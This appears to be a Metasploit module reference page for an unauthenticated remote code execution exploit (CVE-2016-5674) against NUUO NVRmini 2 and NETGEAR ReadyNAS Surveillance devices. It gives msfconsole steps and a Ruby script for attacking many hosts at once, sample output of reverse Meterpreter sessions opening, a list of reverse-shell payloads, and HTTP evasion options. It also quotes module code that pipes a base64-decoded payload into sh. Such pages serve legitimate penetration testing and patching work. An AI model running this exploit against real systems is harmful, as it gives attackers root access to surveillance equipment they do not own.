NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/linux/http/nuuo_nvrmini_unauth_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution
Module: exploit/linux/http/nuuo_nvrmini_unauth_rce
Source code: modules/exploits/linux/http/nuuo_nvrmini_unauth_rce.rb
Disclosure date: 2016-08-04
Last modification time: 2022-01-13 18:54:56 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8081, 8443, 8880, 8888
List of CVEs: CVE-2016-5674
The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance application are vulnerable to an unauthenticated remote code execution on the exposed web administration interface. This results in code execution as root in the NVRmini and the 'admin' user in ReadyNAS. This exploit has been tested on several versions of the NVRmini 2 and the ReadyNAS Surveillance. It probably also works on the NVRsolo and other Nuuo devices, but it has not been tested in those devices.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using nuuo_nvrmini_unauth_rce against a single host
Normally, you can use exploit/linux/http/nuuo_nvrmini_unauth_rce this way:
msf > use exploit/linux/http/nuuo_nvrmini_unauth_rce
msf exploit(nuuo_nvrmini_unauth_rce) > show targets
... a list of targets ...
msf exploit(nuuo_nvrmini_unauth_rce) > set TARGET target-id
msf exploit(nuuo_nvrmini_unauth_rce) > show options
... show and set options ...
msf exploit(nuuo_nvrmini_unauth_rce) > exploit
Using nuuo_nvrmini_unauth_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your nuuo_nvrmini_unauth_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/nuuo_nvrmini_unauth_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the linux/http/nuuo_nvrmini_unauth_rce exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/nuuo_nvrmini_unauth_rce
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show info
Name: NUUO NVRmini 2 / NETGEAR ReadyNAS Surveillance Unauthenticated Remote Code Execution
Module: exploit/linux/http/nuuo_nvrmini_unauth_rce
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-08-04
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
1 NUUO NVRmini 2
2 ReadyNAS NETGEAR Surveillance
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
The NVRmini 2 Network Video Recorder and the ReadyNAS Surveillance
application are vulnerable to an unauthenticated remote code
execution on the exposed web administration interface. This results
in code execution as root in the NVRmini and the 'admin' user in
ReadyNAS. This exploit has been tested on several versions of the
NVRmini 2 and the ReadyNAS Surveillance. It probably also works on
the NVRsolo and other Nuuo devices, but it has not been tested in
those devices.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-5674
https://www.kb.cert.org/vuls/id/856152
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt
https://seclists.org/bugtraq/2016/Aug/45
Module Options
This is a complete list of options available in the linux/http/nuuo_nvrmini_unauth_rce exploit:
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show options
Module options (exploit/linux/http/nuuo_nvrmini_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Application path
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/http/nuuo_nvrmini_unauth_rce exploit:
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show advanced
Module advanced options (exploit/linux/http/nuuo_nvrmini_unauth_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/nuuo_nvrmini_unauth_rce module can exploit:
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
1 NUUO NVRmini 2
2 ReadyNAS NETGEAR Surveillance
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/nuuo_nvrmini_unauth_rce exploit:
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
2 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
3 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
4 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
5 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
6 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
7 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
8 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/nuuo_nvrmini_unauth_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/nuuo_nvrmini_unauth_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
The NVRmini 2 only supports generic or telnet payloads.
Here is a relevant code snippet related to the "The NVRmini 2 only supports generic or telnet payloads." error message:
117: #
118: # Also because of Metasploit payload limitations we cannot specify different payload constraints
119: # for different targets, so we use the payload raw for the NVRmini 2 and encoded for the ReadyNAS.
120: #
121: if payload.raw.include?("perl")
122: fail_with(Failure::Unknown, "The NVRmini 2 only supports generic or telnet payloads.")
123: end
124: payload_clean = payload.raw.gsub('>/dev/null', '').gsub('sh -c', '').gsub('"','').gsub("'",'')
125: if not payload_clean =~ /([\/'"]+)/
126: print_status("#{peer} - Executing payload...")
127: send_payload(payload_clean, 1)
Your payload cannot have any of the following characters: / ' "
Here is a relevant code snippet related to the "Your payload cannot have any of the following characters: / ' "" error message:
125: if not payload_clean =~ /([\/'"]+)/
126: print_status("#{peer} - Executing payload...")
127: send_payload(payload_clean, 1)
128: handler
129: else
130: fail_with(Failure::Unknown, "Your payload cannot have any of the following characters: / ' \"")
131: end
132: elsif my_target == targets[2]
133: #
134: # The ReadyNAS has less char restrictions (it only fails with forward slash) but it also
135: # does not have the telnet binary.
ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).
Here is a relevant code snippet related to the "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl)." error message:
135: # does not have the telnet binary.
136: # We also have to fix the perl payload - there's an IO import error on the ReadyNAS that blows
137: # it up.
138: #
139: if payload.raw.include? "telnet"
140: fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).")
141: end
142: print_status("#{peer} - Executing payload...")
143: payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ")
144: send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1)
145: handler
Failed to pick a target
Here is a relevant code snippet related to the "Failed to pick a target" error message:
140: fail_with(Failure::Unknown, "ReadyNAS Surveillance does not support telnet payloads (try openssl or perl).")
141: end
142: print_status("#{peer} - Executing payload...")
143: payload_clean = payload.raw.gsub("-MIO ", "-MIO::Socket ")
144: send_payload("echo #{Rex::Text.encode_base64(payload_clean)} | base64 -d | sh", 1)
145: handler
146: else
147: fail_with(Failure::Unknown, "Failed to pick a target")
148: end
149: end
150: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7180 Merged Pull Request: Add exploit for CVE 2016-5674 / Nuuo / Netgear unauth RCE
References
- CVE-2016-5674
- VU#856152
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-nvr-vulns.txt
- https://seclists.org/bugtraq/2016/Aug/45
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/nuuo_nvrmini_reset
- auxiliary/gather/nuuo_cms_bruteforce
- auxiliary/gather/nuuo_cms_file_download
- exploit/linux/http/nuuo_nvrmini_auth_rce
- exploit/multi/http/nuuo_nvrmini_upgrade_rce
- exploit/windows/nuuo/nuuo_cms_fu
- exploit/windows/nuuo/nuuo_cms_sqli
- exploit/linux/http/dlink_dir850l_unauth_exec
- exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
- exploit/linux/http/grandstream_gxv3175_settimezone_unauth_cmd_exec
- exploit/linux/http/grandstream_gxv31xx_settimezone_unauth_cmd_exec
- exploit/linux/http/hadoop_unauth_exec
- exploit/linux/http/ibm_qradar_unauth_rce
- exploit/linux/http/klog_server_authenticate_user_unauth_command_injection
- exploit/linux/http/netgear_dgn1000_setup_unauth_exec
- exploit/linux/http/netgear_unauth_exec
- exploit/linux/http/spark_unauth_rce
- exploit/linux/misc/hid_discoveryd_command_blink_on_unauth_rce
- exploit/linux/misc/saltstack_salt_unauth_rce
- exploit/freebsd/webapp/spamtitan_unauth_rce
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/unix/http/xdebug_unauth_exec
- exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec
- exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
- exploit/windows/http/advantech_iview_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- auxiliary/admin/http/hikvision_unauth_pwd_reset_cve_2017_7921
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
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